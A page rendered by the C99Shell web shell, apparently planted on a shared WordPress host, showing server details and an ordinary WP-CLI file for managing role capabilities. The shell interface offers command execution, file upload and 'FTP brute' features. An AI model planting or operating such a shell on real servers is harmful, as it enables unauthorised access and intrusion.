!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/role-command/src/   drwxr-xr-x
Free 714.48 GB of 879.6 GB (81.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Capabilities_Command.php (5.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use WP_CLI\Formatter;

/**
 * Adds, removes, and lists capabilities of a user role.
 *
 * See references for [Roles and Capabilities](https://codex.wordpress.org/Roles_and_Capabilities) and [WP User class](https://codex.wordpress.org/Class_Reference/WP_User).
 *
 * ## EXAMPLES
 *
 *     # Add 'spectate' capability to 'author' role.
 *     $ wp cap add 'author' 'spectate'
 *     Success: Added 1 capability to 'author' role.
 *
 *     # Add all caps from 'editor' role to 'author' role.
 *     $ wp cap list 'editor' | xargs wp cap add 'author'
 *     Success: Added 24 capabilities to 'author' role.
 *
 *     # Remove all caps from 'editor' role that also appear in 'author' role.
 *     $ wp cap list 'author' | xargs wp cap remove 'editor'
 *     Success: Removed 34 capabilities from 'editor' role.
 */
class Capabilities_Command extends WP_CLI_Command {

    /**
     * List of available fields.
     *
     * @var array
     */
    private $fields = [ 'name' ];

    /**
     * Lists capabilities for a given role.
     *
     * ## OPTIONS
     *
     * <role>
     * : Key for the role.
     *
     * [--format=<format>]
     * : Render output in a particular format.
     * ---
     * default: list
     * options:
     *   - list
     *   - table
     *   - csv
     *   - json
     *   - count
     *   - yaml
     * ---
     *
     * [--show-grant]
     * : Display all capabilities defined for a role including grant.
     * ---
     * default: false
     * ---
     *
     * ## EXAMPLES
     *
     *     # Display alphabetical list of Contributor capabilities.
     *     $ wp cap list 'contributor' | sort
     *     delete_posts
     *     edit_posts
     *     level_0
     *     level_1
     *     read
     *
     * @subcommand list
     */
    public function list_( $args, $assoc_args ) {
        $role_obj = self::get_role( $args[0] );

        $show_grant = ! empty( $assoc_args['show-grant'] );

        if ( $show_grant ) {
            array_push( $this->fields, 'grant' );
            $capabilities = $role_obj->capabilities;
        } else {
            $capabilities = array_filter( $role_obj->capabilities );
        }

        $output_caps = array();
        foreach ( $capabilities as $cap => $grant ) {
            $output_cap = new stdClass();

            $output_cap->name  = $cap;
            $output_cap->grant = $grant ? 'true' : 'false';

            $output_caps[] = $output_cap;
        }

        if ( 'list' === $assoc_args['format'] ) {
            foreach ( $output_caps as $cap ) {
                if ( $show_grant ) {
                    WP_CLI::line( implode( ',', array( $cap->name, $cap->grant ) ) );
                } else {
                    WP_CLI::line( $cap->name );
                }
            }
        } else {
            $formatter = new Formatter( $assoc_args, $this->fields );
            $formatter->display_items( $output_caps );
        }
    }

    /**
     * Adds capabilities to a given role.
     *
     * ## OPTIONS
     *
     * <role>
     * : Key for the role.
     *
     * <cap>...
     * : One or more capabilities to add.
     *
     * [--grant]
     * : Adds the capability as an explicit boolean value, instead of implicitly defaulting to `true`.
     * ---
     * default: true
     * options:
     *   - true
     *   - false
     * ---
     *
     * ## EXAMPLES
     *
     *     # Add 'spectate' capability to 'author' role.
     *     $ wp cap add author spectate
     *     Success: Added 1 capability to 'author' role.
     */
    public function add( $args, $assoc_args ) {
        self::persistence_check();

        $role = array_shift( $args );

        $role_obj = self::get_role( $role );

        $grant = true;
        if ( isset( $assoc_args['grant'] ) ) {
            $grant = ! $assoc_args['grant'] || 'false' === $assoc_args['grant'] ? false : true;
        }

        $count = 0;

        foreach ( $args as $cap ) {
            if ( true === $grant && $role_obj->has_cap( $cap ) ) {
                continue;
            }

            if ( false === $grant && isset( $role_obj->capabilities[ $cap ] ) && false === $role_obj->capabilities[ $cap ] ) {
                continue;
            }

            $role_obj->add_cap( $cap, $grant );

            ++$count;
        }

        $capability          = WP_CLI\Utils\pluralize( 'capability', $count );
        $grant_qualification = $grant ? '' : ' as false';

        WP_CLI::success( "Added {$count} {$capability} to '{$role}' role{$grant_qualification}." );
    }

    /**
     * Removes capabilities from a given role.
     *
     * ## OPTIONS
     *
     * <role>
     * : Key for the role.
     *
     * <cap>...
     * : One or more capabilities to remove.
     *
     * ## EXAMPLES
     *
     *     # Remove 'spectate' capability from 'author' role.
     *     $ wp cap remove author spectate
     *     Success: Removed 1 capability from 'author' role.
     */
    public function remove( $args ) {
        self::persistence_check();

        $role = array_shift( $args );

        $role_obj = self::get_role( $role );

        $count = 0;

        foreach ( $args as $cap ) {
            if ( ! isset( $role_obj->capabilities[ $cap ] ) ) {
                continue;
            }

            $role_obj->remove_cap( $cap );

            ++$count;
        }

        $capability = WP_CLI\Utils\pluralize( 'capability', $count );

        WP_CLI::success( "Removed {$count} {$capability} from '{$role}' role." );
    }

    /**
     * Retrieve a specific role from the system.
     *
     * @param string $role Role to retrieve.
     * @return WP_Role Requested role.
     * @throws \WP_CLI\ExitException If the role could not be found.
     */
    private static function get_role( $role ) {
        global $wp_roles;

        $role_obj = $wp_roles->get_role( $role );

        if ( ! $role_obj ) {
            WP_CLI::error( "'{$role}' role not found." );
        }

        return $role_obj;
    }

    /**
     * Assert that the roles are persisted to the database.
     *
     * @throws \WP_CLI\ExitException If the roles are not persisted to the
     *                               database.
     */
    private static function persistence_check() {
        global $wp_roles;

        if ( ! $wp_roles->use_db ) {
            WP_CLI::error( 'Role definitions are not persistent.' );
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0167 ]--